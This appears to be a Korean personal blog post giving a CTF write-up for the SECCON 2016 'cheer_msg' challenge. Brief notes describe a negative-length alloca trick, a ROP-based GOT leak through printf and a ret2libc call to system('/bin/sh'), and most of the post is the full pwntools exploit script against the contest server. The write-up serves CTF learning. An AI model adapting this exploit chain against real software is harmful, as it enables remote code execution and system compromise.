튜기's blogggg

2016 seccon cheer_msg

by St1tch




pwnablekr의 alloca랑 비슷한 문제였다.

값을 음수로 주게되면 입력buf의 주소를 조절할 수 있다.

rop로 printf("~~%s~~%s~~~", got, got) 호출해서 got를 릭한다음

libc주어졌으니 실제주소구하고

printf 호출 뒤 다시 main으로 트리거해서 system("/bin/sh") 호출되게했다.




from pwn import *

local = False
if local :
    s = process('./cheer_msg')
    print util.proc.pidof(s)
    pause()
else :
    s = remote('cheermsg.pwn.seccon.jp', 30527)

elf = ELF('cheer_msg')
libc = ELF('libc')

pop3ret = 0x80487ad

def solver() :
    s.recvuntil('>>')
    s.sendline('-128')  #input buf -> main ebp-12
    s.recvuntil('>>')
    pay = 'a' * 16
    pay += p32(elf.plt['printf']) + p32(pop3ret)
    pay += p32(0x804887D) + p32(elf.got['atoi']) * 2
    pay += p32(0x80485CA)
    s.sendline(pay)

    #calculate addr
    leak = s.recvuntil('Message Length').split()
    atoi_addr = u32(leak[25])

    offset = atoi_addr - libc.symbols['atoi']
    system = offset + libc.symbols['system']
    binsh = offset + list(libc.search('/bin/sh'))[0]

    #main trigger
    s.recvuntil('>>')
    s.sendline('-128')
    s.recvuntil('>>')
    pay = 'a' * 16
    pay += p32(system)
    pay += 'aaaa'
    pay += p32(binsh)
    s.sendline(pay)

    s.interactive()

if __name__ == '__main__' :
    solver()



블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기